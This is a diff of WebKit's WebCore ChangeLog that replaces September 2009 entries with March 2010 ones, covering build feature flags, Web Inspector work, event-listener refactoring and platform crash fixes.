-        (WebInspector.WatchExpressionsSection.prototype.updateExpression):
-        (WebInspector.WatchExpressionsSection.prototype.findAddedTreeElement):
-        (WebInspector.WatchExpressionsSection.prototype.loadSavedExpressions):
-        (WebInspector.WatchExpressionsSection.prototype.saveExpressions):
-        (WebInspector.WatchExpressionsSection.CompareProperties):
-        (WebInspector.WatchExpressionTreeElement):
-        (WebInspector.WatchExpressionTreeElement.prototype.update):
-        (WebInspector.WatchExpressionTreeElement.prototype._deleteButtonClicked):
-        (WebInspector.WatchExpressionTreeElement.prototype.startEditing):
-        (WebInspector.WatchExpressionTreeElement.prototype.editingCancelled):
-        (WebInspector.WatchExpressionTreeElement.prototype.applyExpression):
         * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.html:
-        * manual-tests/inspector/debugger-watch-expressions.html: Added.
 
-2009-09-16  Greg Bolsinga  <bolsinga@apple.com>
+2010-03-02  Kim Grönholm  <kim.gronholm@nomovok.com>
 
-        Add ENABLE(INSPECTOR)
-        https://bugs.webkit.org/show_bug.cgi?id=29260
-
-        Reviewed by David Kilzer.
-
-        No new tests. (No change in default behavior.)
-
-        * DerivedSources.make: Use new WebCore.Inspector.exp file if ENABLE_DRAG_SUPPORT.
-        * WebCore.base.exp: Move Inspector only exports to WebCore.Inspector.exp.
-        * WebCore.xcodeproj/project.pbxproj: Add WebCore.Inspector.exp.
-        * bindings/js/JSDOMWindowBase.cpp: Use ENABLE(INSPECTOR) where applicable.
-        (WebCore::JSDOMWindowBase::supportsProfiling):
-        * bindings/js/JSInspectedObjectWrapper.cpp: Wrap entire file in ENABLE(INSPECTOR).
-        * bindings/js/JSInspectorBackendCustom.cpp: Ditto.
-        * bindings/js/JSInspectorCallbackWrapper.cpp: Ditto.
-        * bindings/js/ScriptObject.cpp: Use ENABLE(INSPECTOR) where applicable.
-        * bindings/js/ScriptObject.h: Ditto.
-        * bindings/js/ScriptObjectQuarantine.cpp: Wrap entire file in ENABLE(INSPECTOR).
-        * dom/Document.cpp: Use ENABLE(INSPECTOR) where applicable.
-        (WebCore::Document::recalcStyle):
-        (WebCore::Document::addMessage):
-        (WebCore::Document::resourceRetrievedByXMLHttpRequest):
-        (WebCore::Document::scriptImported):
-        * dom/Document.h: Ditto.
-        * dom/Node.cpp: Ditto.
-        (WebCore::Node::dispatchGenericEvent):
-        * dom/ScriptExecutionContext.h: Ditto.
-        (WebCore::):
-        * html/HTMLDocument.cpp: Ditto.
-        (WebCore::HTMLDocument::createTokenizer):
-        * html/HTMLTokenizer.cpp: Ditto.
-        (WebCore::HTMLTokenizer::write):
-        * inspector/ConsoleMessage.cpp: Ditto.
-        (WebCore::ConsoleMessage::ConsoleMessage):
-        (WebCore::ConsoleMessage::isEqual):
-        * inspector/ConsoleMessage.h: Ditto.
-        * inspector/DOMDispatchTimelineItem.cpp: Wrap entire file in ENABLE(INSPECTOR).
-        * inspector/InspectorBackend.cpp: Ditto.
-        * inspector/InspectorController.cpp: Ditto.
-        * inspector/InspectorDOMAgent.cpp: Ditto.
-        * inspector/InspectorDOMStorageResource.cpp: Ditto.
-        * inspector/InspectorDatabaseResource.cpp: Ditto.
-        * inspector/InspectorFrontend.cpp: Ditto.
-        * inspector/InspectorResource.cpp: Ditto.
-        * inspector/InspectorTimelineAgent.cpp: Ditto.
-        * inspector/TimelineItem.cpp: Ditto.
-        * loader/FrameLoader.cpp: Use ENABLE(INSPECTOR) where applicable.
-        (WebCore::FrameLoader::detachFromParent):
-        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
-        (WebCore::FrameLoader::loadedResourceFromMemoryCache):
-        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
-        (WebCore::FrameLoader::dispatchDidCommitLoad):
-        (WebCore::FrameLoader::dispatchAssignIdentifierToInitialRequest):
-        (WebCore::FrameLoader::dispatchWillSendRequest):
-        (WebCore::FrameLoader::dispatchDidReceiveResponse):
-        (WebCore::FrameLoader::dispatchDidReceiveContentLength):
-        (WebCore::FrameLoader::dispatchDidFinishLoading):
-        * page/Chrome.cpp: Ditto.
-        (WebCore::Chrome::mouseDidMoveOverElement):
-        * page/Console.cpp: Ditto.
-        (WebCore::Console::addMessage):
-        (WebCore::Console::count):
-        (WebCore::Console::profile):
-        (WebCore::Console::profileEnd):
-        (WebCore::Console::time):
-        (WebCore::Console::timeEnd):
-        (WebCore::Console::group):
-        (WebCore::Console::groupEnd):
-        * page/ContextMenuController.cpp: Ditto.
-        (WebCore::ContextMenuController::handleContextMenuEvent):
-        (WebCore::ContextMenuController::contextMenuItemSelected):
-        * page/DOMWindow.cpp: Ditto.
-        (WebCore::DOMWindow::sessionStorage):
-        (WebCore::DOMWindow::localStorage):
-        * page/EventHandler.cpp: Ditto.
-        (WebCore::EventHandler::handleMousePressEvent):
-        * page/FrameView.cpp: Ditto.
-        (WebCore::FrameView::layout):
-        (WebCore::FrameView::paintContents):
-        * page/FrameView.h: Ditto.
-        * page/Page.cpp: Ditto.
-        (WebCore::Page::Page):
-        (WebCore::Page::~Page):
-        * page/Page.h: Ditto.
-        * platform/ContextMenu.cpp: Ditto.
-        (WebCore::ContextMenu::checkOrEnableIfNeeded):
-        * platform/ContextMenuItem.h: Ditto.
-        (WebCore::):
-        * storage/Database.cpp: Ditto.
-        (WebCore::Database::openDatabase):
-        * workers/WorkerContext.cpp: Ditto.
-        (WebCore::WorkerContext::importScripts):
-        * xml/XMLHttpRequest.cpp: Ditto.
-        (WebCore::XMLHttpRequest::didFinishLoading):
-
-2009-09-16  Greg Bolsinga  <bolsinga@apple.com>
-
-        Add ENABLE(CONTEXT_MENUS)
-        https://bugs.webkit.org/show_bug.cgi?id=29225
-
-        Reviewed by David Kilzer.
-
-        No new tests. (No change in default behavior.)
-
-        * DerivedSources.make: Use new WebCore.ContextMenus.exp file if ENABLE_CONTEXT_MENUS.
-        * WebCore.base.exp: Move ContextMenu only exports to WebCore.ContextMenus.exp.
-        * WebCore.xcodeproj/project.pbxproj: Add WebCore.ContextMenus.exp.
-        * dom/Node.cpp: Use ENABLE(CONTEXT_MENUS) where applicable.
-        (WebCore::Node::defaultEventHandler):
-        * loader/EmptyClients.h: Ditto.
-        * page/ContextMenuController.cpp: Wrap entire file in ENABLE(CONTEXT_MENUS).
-        * page/EventHandler.cpp: Use ENABLE(CONTEXT_MENUS) where applicable.
-        * page/EventHandler.h: Ditto.
-        * page/Page.cpp: Ditto.
-        (WebCore::Page::Page):
-        * page/Page.h: Ditto.
-        * page/mac/EventHandlerMac.mm: Ditto.
-        * page/mac/WebCoreViewFactory.h: Ditto.
-        * platform/ContextMenu.cpp: Wrap entire file in ENABLE(CONTEXT_MENUS).
-        * platform/LocalizedStrings.h: Use ENABLE(CONTEXT_MENUS) where applicable.
-        * platform/mac/ContextMenuItemMac.mm: Wrap entire file in ENABLE(CONTEXT_MENUS).
-        * platform/mac/ContextMenuMac.mm: Ditto.
-        * platform/mac/LocalizedStringsMac.mm: Use ENABLE(CONTEXT_MENUS) where applicable.
-        * svg/graphics/SVGImage.cpp: Ditto.
-        (WebCore::SVGImage::dataChanged):
-
-2009-09-16  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Clean up invalidation for repainting.  Hoist the dirty rect intersection test in ScrollViewMac up
-        into ScrollView so that all platforms do it.
-        
-        Patch deferred repaints in FrameView::repaintContentRectangle to only add the visible portion of
-        the rectangle for repainting.
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::repaintContentRectangle):
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::repaintContentRectangle):
-        * platform/mac/ScrollViewMac.mm:
-        (WebCore::ScrollView::platformRepaintContentRectangle):
-
-2009-09-16  Greg Bolsinga  <bolsinga@apple.com>
-
-        Add ENABLE(DRAG_SUPPORT)
-        https://bugs.webkit.org/show_bug.cgi?id=29233
-
-        Reviewed by David Kilzer.
-
-        No new tests. (No change in default behavior.)
-
-        * DerivedSources.make: Use new WebCore.DragSupport.exp file if ENABLE_DRAG_SUPPORT.
-        * WebCore.base.exp: Move Drag Support only exports to WebCore.DragSupport.exp.
-        * WebCore.xcodeproj/project.pbxproj: Add WebCore.DragSupport.exp.
-        * dom/Clipboard.h: Use ENABLE(DRAG_SUPPORT) where applicable.
-        * loader/EmptyClients.h: Ditto.
-        * page/DragController.cpp: Wrap entire file in ENABLE(DRAG_SUPPORT).
-        * page/EventHandler.cpp: Use ENABLE(DRAG_SUPPORT) where applicable.
-        (WebCore::EventHandler::EventHandler):
-        (WebCore::EventHandler::clear):
-        (WebCore::EventHandler::handleMousePressEvent):
-        (WebCore::EventHandler::handleMouseReleaseEvent):
-        (WebCore::EventHandler::handleMouseMoveEvent):
-        * page/EventHandler.h: Ditto.
-        * page/Page.cpp: Ditto.
-        (WebCore::Page::Page):
-        * page/Page.h: Ditto.
-        * page/mac/DragControllerMac.mm: Wrap entire file in ENABLE(DRAG_SUPPORT).
-        * page/mac/EventHandlerMac.mm: Use ENABLE(DRAG_SUPPORT) where applicable.
-        (WebCore::EventHandler::passSubframeEventToSubframe):
-        * platform/DragData.cpp: Wrap entire file in ENABLE(DRAG_SUPPORT).
-        * platform/DragImage.cpp: Wrap entire file in ENABLE(DRAG_SUPPORT).
-        * platform/mac/ClipboardMac.h: Use ENABLE(DRAG_SUPPORT) where applicable.
-        * platform/mac/ClipboardMac.mm: Ditto.
-        * platform/mac/DragDataMac.mm: Wrap entire file in ENABLE(DRAG_SUPPORT).
-        * platform/mac/DragImageMac.mm: Wrap entire file in ENABLE(DRAG_SUPPORT).
-        * rendering/RenderLayer.cpp: Use ENABLE(DRAG_SUPPORT) where applicable.
-        (WebCore::RenderLayer::autoscroll):
-        * rendering/RenderObject.cpp: Ditto.
-        * rendering/RenderObject.h: Ditto.
-        * svg/graphics/SVGImage.cpp: Ditto.
-        (WebCore::SVGImage::dataChanged):
-
-2009-09-16  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wxMSW build fix after adding support for high resolution times in Win.
-
-        * page/Settings.cpp:
-        * page/Settings.h:
+        Reviewed by Simon Hausmann.
 
-2009-09-16  Vitaly Repeshko  <vitalyr@chromium.org>
+        [Qt] GraphicsLayer: Video element with 3d transform crashes when AC is enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=35516
 
-        Reviewed by Dimitri Glazkov.
+        No new tests.
 
-        [V8] Added operator==() to event listeners. This fixes V8 bindings
-        build broken in http://trac.webkit.org/changeset/48402.
-        https://bugs.webkit.org/show_bug.cgi?id=29298
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::GraphicsLayerQt::setContentsToMedia):
 
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::V8AbstractEventListener): Now
-        uses JSEventListenerType.
-        * bindings/v8/V8AbstractEventListener.h:
-        (WebCore::V8AbstractEventListener::operator==): Only compares
-        pointers since we create at most one wrapper for a JS object.
-
-2009-09-16  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+2010-03-02  Fridrich Strba  <fridrich.strba@bluewin.ch>
 
         Reviewed by Xan Lopez.
 
-        [GTK] Crash when visiting http://flipper.googlelabs.com/
-        https://bugs.webkit.org/show_bug.cgi?id=29293
-
-        Check type for being null or empty before looking it up in the
-        hash of supported types.
-
-        Tested by http/tests/loading/redirect-with-no-location-crash.html
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::supportsType):
-
-2009-09-15  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Sam Weinig.
-        
-        Removed the notion of "disconnected nodes with event listeners" because
-        it was vestigial. The reference cycle it tried to solve was solved another
-        way in https://bugs.webkit.org/show_bug.cgi?id=21260.
+        Use unsigned instead of uint which does not exist on windows
+        https://bugs.webkit.org/show_bug.cgi?id=35546
 
-        * dom/Document.cpp:
-        (WebCore::Document::removeAllEventListeners):
-        * dom/Document.h:
-        * dom/Node.cpp:
-        (WebCore::Node::~Node):
-        (WebCore::Node::insertedIntoDocument):
-        (WebCore::Node::removedFromDocument):
-        (WebCore::Node::willMoveToNewOwnerDocument):
-        (WebCore::Node::didMoveToNewOwnerDocument):
-        (WebCore::Node::addEventListener):
-        (WebCore::Node::removeEventListener):
-        (WebCore::Node::clearAttributeEventListener):
+        * platform/graphics/gtk/ImageGtk.cpp:
+        (WebCore::getCairoSurfacePixel):
+        (WebCore::getGdkPixbufPixel):
 
-2009-09-15  Chris Fleizach  <cfleizach@apple.com>
+2010-03-02  Kenneth Russell  <kbr@google.com>
 
-        Reviewed by Beth Dakin.
+        Reviewed by Darin Fisher.
 
-        WAI-ARIA: add support for ranges, including the progressbar, slider, and spinbutton roles
-        https://bugs.webkit.org/show_bug.cgi?id=28841
+        Add EnabledAtRuntime attribute to WebGLArray constructors
+        https://bugs.webkit.org/show_bug.cgi?id=35558
+
+        New functionality verified manually in Chromium; not possible to
+        write layout test. Ran WebGL tests in WebKit as well.
+
+        * bindings/generic/RuntimeEnabledFeatures.cpp:
+        * bindings/generic/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setWebGLEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLRenderingContextEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLArrayBufferEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLByteArrayEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLUnsignedByteArrayEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLShortArrayEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLUnsignedShortArrayEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLIntArrayEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLUnsignedIntArrayEnabled):
+        (WebCore::RuntimeEnabledFeatures::webGLFloatArrayEnabled):
+        * page/DOMWindow.idl:
 
-        Allow certain ARIA roles to change value with AXIncrement and AXDecrement. 
-        Consolidate increment/decrement/changeValue methods. 
+2010-03-02  Nate Chapin  <japhet@chromium.org>
 
-        Test: accessibility/aria-slider-value-change.html
+        Reviewed by Dimitri Glazkov.
 
-        * accessibility/AccessibilityObject.cpp:
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::increment):
-        (WebCore::AccessibilityRenderObject::decrement):
-        (WebCore::AccessibilityRenderObject::changeValueByPercent):
-        (WebCore::AccessibilityRenderObject::setValue):
-        (WebCore::AccessibilityRenderObject::canSetFocusAttribute):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/AccessibilitySlider.cpp:
-        * accessibility/AccessibilitySlider.h:
-        * dom/Element.cpp:
-        (WebCore::Element::updateAfterAttributeChanged):
+        [V8] Fail gracefully if NPN_GetProperty tries to retrieve a property that doesn't exist.
 
-2009-09-15  Geoffrey Garen  <ggaren@apple.com>
+        https://bugs.webkit.org/show_bug.cgi?id=35588
 
-        Reviewed by Sam Weinig.
+        Required for passing LayoutTests/plugins/netscape-plugin-property-access-exception.html on Chromium.
 
-        Removed the jsEventListeners set from JSDOMGlobalObject, to simplify
-        creation and destruction of JSDOMGlobalObject and event listeners.
-        
-        Added an abstract operator==() to EventListener, to replace the
-        jsEventListeners set's role in determining if two event listeners are
-        equal from the DOM's perspective.
-        
-        Added a type field to EventListener, and casting operations, to support
-        operator==() and other abstract operations.
+        * bindings/v8/NPV8Object.cpp:
+        (_NPN_GetProperty): If the result is empty, don't try to convert it to an NPVariant and return false.
 
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::addEventListener):
-        (WebCore::JSDOMApplicationCache::removeEventListener):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        * bindings/js/JSDOMGlobalObject.h:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::addEventListener):
-        (WebCore::JSDOMWindow::removeEventListener):
-        * bindings/js/JSDesktopNotificationsCustom.cpp:
-        (WebCore::JSNotification::addEventListener):
-        (WebCore::):
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::JSEventListener):
-        (WebCore::JSEventListener::~JSEventListener):
-        (WebCore::JSEventListener::markJSFunction):
-        (WebCore::JSEventListener::handleEvent):
-        (WebCore::JSEventListener::reportError):
-        (WebCore::JSEventListener::operator==):
-        * bindings/js/JSEventListener.h:
-        (WebCore::JSEventListener::cast):
-        * bindings/js/JSEventSourceCustom.cpp:
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::addEventListener):
-        (WebCore::JSMessagePort::removeEventListener):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::addEventListener):
-        (WebCore::JSSVGElementInstance::removeEventListener):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::addEventListener):
-        (WebCore::JSWorkerContext::removeEventListener):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::addEventListener):
-        (WebCore::JSXMLHttpRequest::removeEventListener):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::addEventListener):
-        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
-        * bindings/objc/ObjCEventListener.h:
-        (WebCore::ObjCEventListener::cast):
-        * bindings/objc/ObjCEventListener.mm:
-        (WebCore::ObjCEventListener::ObjCEventListener):
-        (WebCore::ObjCEventListener::operator==):
-        * dom/EventListener.h:
-        (WebCore::EventListener::):
-        (WebCore::EventListener::type):
-        (WebCore::EventListener::EventListener):
-        * dom/MessagePort.cpp:
-        (WebCore::MessagePort::addEventListener):
-        (WebCore::MessagePort::removeEventListener):
-        * dom/Node.cpp:
-        (WebCore::Node::removeEventListener):
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::InspectorDOMAgent):
-        (WebCore::InspectorDOMAgent::mainFrameDocument):
-        (WebCore::InspectorDOMAgent::operator==):
-        * inspector/InspectorDOMAgent.h:
-        (WebCore::InspectorDOMAgent::cast):
-        * loader/ImageDocument.cpp:
-        (WebCore::ImageEventListener::cast):
-        (WebCore::ImageEventListener::ImageEventListener):
-        (WebCore::ImageEventListener::operator==):
-        * loader/appcache/DOMApplicationCache.cpp:
-        (WebCore::DOMApplicationCache::addEventListener):
-        (WebCore::DOMApplicationCache::removeEventListener):
-        * notifications/Notification.cpp:
-        (WebCore::Notification::removeEventListener):
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::removeEventListener):
-        * page/EventSource.cpp:
-        (WebCore::EventSource::addEventListener):
-        (WebCore::EventSource::removeEventListener):
-        * svg/animation/SVGSMILElement.cpp:
-        (WebCore::ConditionEventListener::cast):
-        (WebCore::ConditionEventListener::ConditionEventListener):
-        (WebCore::ConditionEventListener::operator==):
-        (WebCore::ConditionEventListener::handleEvent):
-        * workers/AbstractWorker.cpp:
-        (WebCore::AbstractWorker::addEventListener):
-        (WebCore::AbstractWorker::removeEventListener):
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::addEventListener):
-        (WebCore::WorkerContext::removeEventListener):
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::addEventListener):
-        (WebCore::XMLHttpRequest::removeEventListener):
-        * xml/XMLHttpRequestUpload.cpp:
-        (WebCore::XMLHttpRequestUpload::addEventListener):
-        (WebCore::XMLHttpRequestUpload::removeEventListener):
+2010-03-02  Jian Li  <jianli@chromium.org>
 
-2009-09-15  Alex Milowski  <alex@milowski.com>
+        Reviewed by Nate Chapin.
 
-        Reviewed by Tor Arne Vestbø.
+        [V8] DOMCoreException should be visible as DOMException 
+        https://bugs.webkit.org/show_bug.cgi?id=35552
 
-        Added ENABLE_MATHML to feature defines
+        Fix V8 code generator to use the correct visible name.
 
-        * Configurations/FeatureDefines.xcconfig:
+        * bindings/scripts/CodeGeneratorV8.pm:
 
-2009-09-14  Andrew Richards  <randrew@gmail.com>
+2010-03-02  Brady Eidson  <beidson@apple.com>
 
         Reviewed by Sam Weinig.
 
-        Document.elementFromPoint() and Document.caretRangeFromPoint() erroneously returning null at points visible only after scrolling.
-        https://bugs.webkit.org/show_bug.cgi?id=29245
+        REGRESSION(r51097) - Unable to log in to statefarm.com
+        <rdar://problem/7672667> and https://bugs.webkit.org/show_bug.cgi?id=35556
 
-        Use visibleContentRect() instead of boundsRect() when checking hit point bounds on viewport.
+        Test: fast/loader/for-window-event-onload-scripts.html
 
-        * dom/Document.cpp:
-        (WebCore::Document::elementFromPoint):
-        (WebCore::Document::caretRangeFromPoint):
+        Match Gecko's rules for executing "for/event" scripts:
+          -If there's only a 'for' attribute, execute it.
+          -If there's only an 'event' attribute, execute it.
+          -If there's a 'for=window' and 'event=onload', execute it.
+          -If there's a 'for=window' and 'event=onload()', execute it.
+          -If there's any other combination of both 'for' and 'event', don't execute it.
 
-2009-09-15  Jungshik Shin  <jshin@chromium.org>
+        * dom/ScriptElement.cpp:
+        (WebCore::ScriptElementData::shouldExecuteAsJavaScript):
+        * dom/ScriptElement.h:
 
-        Reviewed by Eric Seidel
+        * html/HTMLScriptElement.cpp:
+        (WebCore::HTMLScriptElement::eventAttributeValue):
+        * html/HTMLScriptElement.h:
 
-        http://bugs.webkit.org/show_bug.cgi?id=26660
+        * svg/SVGScriptElement.cpp:
+        (WebCore::SVGScriptElement::eventAttributeValue):
+        * svg/SVGScriptElement.h:
 
-        Chromium Windows: When rotated, the baseline for a span of complex
-        script is completely misaligned with that of the adjacent 
-        simple script text. It's fixed by not applying the baseline offset for
-        the Skia code path.
+        Add the event attribute name:
+        * html/HTMLAttributeNames.in:
 
-        Test: transforms/2d/hindi-rotated.html
 
-        * platform/graphics/chromium/UniscribeHelper.cpp:
-        (WebCore::UniscribeHelper::draw):
+2010-03-02  Simon Fraser  <simon.fraser@apple.com>
 
-2009-09-15  Anders Carlsson  <andersca@apple.com>
+        Reviewed by Dan Bernstein.
 
-        Reviewed by Adam Roben.
+        https://bugs.webkit.org/show_bug.cgi?id=35555
+        QuickTime plugin content can spill outside the <object> tag
 
-        Pass the PopupMenu pointer to CreateWindowEx and then get it from the LPCREATESTRUCT in
-        the WM_CREATE handler. This way we don't have to first create an zero size window and then size it.
+        Set -masksToBounds on the layer that is handed to us by plug-ins, to ensure that sublayers
+        of that layer don't spill outside the <object> contents rect.
         
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::show):
-        (WebCore::PopupMenu::PopupMenuWndProc):
-
-2009-09-15  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Darin Adler.
+        Manual test because it relies on QuickTime, and pixel results depend on movie loading timing.
 
-        MessageEvent should not be cancelable by default
-        https://bugs.webkit.org/show_bug.cgi?id=27846
+        * manual-tests/plugins/object-clipping.html: Added.
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setupContentsLayer):
 
-        * dom/MessageEvent.cpp:
-        (WebCore::MessageEvent::MessageEvent):
-        Changed constructor to set cancelable=false by default, per the HTML5 spec.
+2010-03-02  Adam Roben  <aroben@apple.com>
 
-2009-09-15  Charles Wei  <charles.wei@torchmobile.com.cn>
+        Export SecurityOrigin::registerURLSchemeAsSecure
 
-        Reviewed by George Staikos.
+        Fixes <http://webkit.org/b/35580> <rdar://problem/7706407> Expose
+        SecurityOrigin::registerURLSchemeAsSecure as WebKit SPI
 
-        Fix SVG path parsing error if a command starts with dot '.'
-        https://bugs.webkit.org/show_bug.cgi?id=29123
+        Reviewed by Tim Hatcher.
 
-        * svg/SVGParserUtilities.cpp:
-        (WebCore::SVGPathParser::parseSVG):
+        * WebCore.base.exp: Added symbol, sorted file.
 
-2009-09-15  Alexander Pavlov  <apavlov@chromium.org>
+2010-03-02  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Implement conditional breakpoints in the Web Inspector frontend.
-        https://bugs.webkit.org/show_bug.cgi?id=28908
+        Web Inspector: render breakpoints as border images instead of canvas.
 
-        * English.lproj/localizedStrings.js:
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/front-end/Breakpoint.js:
-        (WebInspector.Breakpoint.prototype.set condition):
-        * inspector/front-end/Popup.js: Added.
-        (WebInspector.Popup):
-        (WebInspector.Popup.prototype.show):
-        (WebInspector.Popup.prototype.hide):
-        (WebInspector.Popup.prototype.get visible):
-        (WebInspector.Popup.prototype.set element):
-        (WebInspector.Popup.prototype.get element):
-        (WebInspector.Popup.prototype.positionElement):
-        (WebInspector.Popup.prototype.set anchor):
-        (WebInspector.Popup.prototype.get anchor):
-        (WebInspector.Popup.prototype.set autoHide):
-        (WebInspector.Popup.prototype._checkNotVisible):
-        (WebInspector.Popup.prototype._keyEventHandler):
-        (WebInspector.Popup.prototype._mouseDownEventHandler):
+        https://bugs.webkit.org/show_bug.cgi?id=35535
+
+        * inspector/front-end/Images/breakpointBorder.png: Added.
+        * inspector/front-end/Images/breakpointConditionalBorder.png: Added.
+        * inspector/front-end/Images/breakpointConditionalCounterBorder.png: Added.
+        * inspector/front-end/Images/breakpointCounterBorder.png: Added.
+        * inspector/front-end/Images/programCounterBorder.png: Added.
         * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype.revealLine):
-        (WebInspector.SourceFrame.prototype._loaded):
-        (WebInspector.SourceFrame.prototype._documentContextMenu):
-        (WebInspector.SourceFrame.prototype._documentMouseDown):
-        (WebInspector.SourceFrame.prototype._editBreakpointCondition.committed):
-        (WebInspector.SourceFrame.prototype._editBreakpointCondition.dismissed):
-        (WebInspector.SourceFrame.prototype._editBreakpointCondition):
-        (WebInspector.SourceFrame.prototype._showBreakpointConditionPopup):
-        (WebInspector.SourceFrame.prototype._createPopupElement):
+        (WebInspector.SourceFrame.prototype._updateExecutionLine):
         (WebInspector.SourceFrame.prototype._addBreakpointToSource):
-        (WebInspector.SourceFrame.prototype._removeBreakpointFromSource):
-        (WebInspector.SourceFrame.prototype._drawBreakpointImagesIfNeeded.drawBreakpoint):
-        (WebInspector.SourceFrame.prototype._drawBreakpointImagesIfNeeded):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-        * inspector/front-end/inspector.js:
-        (WebInspector.set currentFocusElement):
-        (WebInspector.set currentPanel):
-        (WebInspector.loaded):
-        (WebInspector.contextMenu):
-        (WebInspector.elementDragStart):
-        (WebInspector.updateResource):
-        (WebInspector.drawLoadingPieChart):
-        (WebInspector.linkifyURLAsNode):
-        (WebInspector.startEditing.getContent):
-        (WebInspector.startEditing.editingCancelled):
-        (WebInspector.startEditing.editingCommitted):
-        * inspector/front-end/utilities.js:
-        (Element.prototype.positionAt):
-        (Element.prototype.offsetRelativeToWindow):
+        (WebInspector.SourceFrame.prototype.resize):
+        * inspector/front-end/TextViewer.js:
+        (WebInspector.TextChunk):
+        * inspector/front-end/textViewer.css:
 
-2009-09-14  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Page cache should support pages with unload handlers as an experiment.
-        <rdar://problem/7196485> and https://bugs.webkit.org/show_bug.cgi?id=29021
-
-        For the experiment, only allow pages with unload handlers into the Page Cache on
-        Mac and Windows.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::canCachePageContainingThisFrame):
-        (WebCore::FrameLoader::logCanCacheFrameDecision):
+2010-01-28  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-2009-09-14  Simon Fraser  <simon.fraser@apple.com>
-
-        Fix the change in r48376 to do a null-check to fix a crashing test.
-
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::menuListDefaultEventHandler):
+        Reviewed by Ariya Hidayat.
 
-2009-09-14  Simon Fraser  <simon.fraser@apple.com>
+        [Qt] Special case Font::floatWidthForComplexText for single space
+        https://bugs.webkit.org/show_bug.cgi?id=33876
 
-        Reviewed by Dan Bernstein.
+        For a single space we can go through the QFontMetric::width routine
+        instead of converting the WebCore::String to a QString and then
+        going through the QTextLine.
 
-        <rdar://problem/7047282> Safari crashes at WebCore::RenderMenuList::adjustInnerStyle() 436
-        
-        Avoid a crash when a mouse event handler on a <select> changes the select from a popup
-        to a list (by setting the 'size' property) inside the event handler.
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::Font::floatWidthForComplexText):
 
-        Test: fast/forms/select-change-popup-to-listbox-in-event-handler.html
+2010-02-28  Holger Hans Peter Freyther  <zecke@selfish.org>
 
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::menuListDefaultEventHandler):
-
-2009-09-14  Anders Carlsson  <andersca@apple.com>
+        Reviewed by Gustavo Noronha.
 
-        Reviewed by Jon Honeycutt.
+        [Gtk] Support private browsing mode in plugins.
+        https://bugs.webkit.org/show_bug.cgi?id=35500
 
-        More PopupMenu cleanup.
-        
-        * platform/PopupMenu.h:
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::show):
-        Call registerClass.
-        
-        (WebCore::PopupMenu::registerClass):
-        Make this a private static member function so it can refer to PopupMenuWndProc.
-        
-        (WebCore::PopupMenu::PopupMenuWndProc):
-        Try to get the PopupMenu and call its wndProc member function.
-        
-        (WebCore::PopupMenu::wndProc):
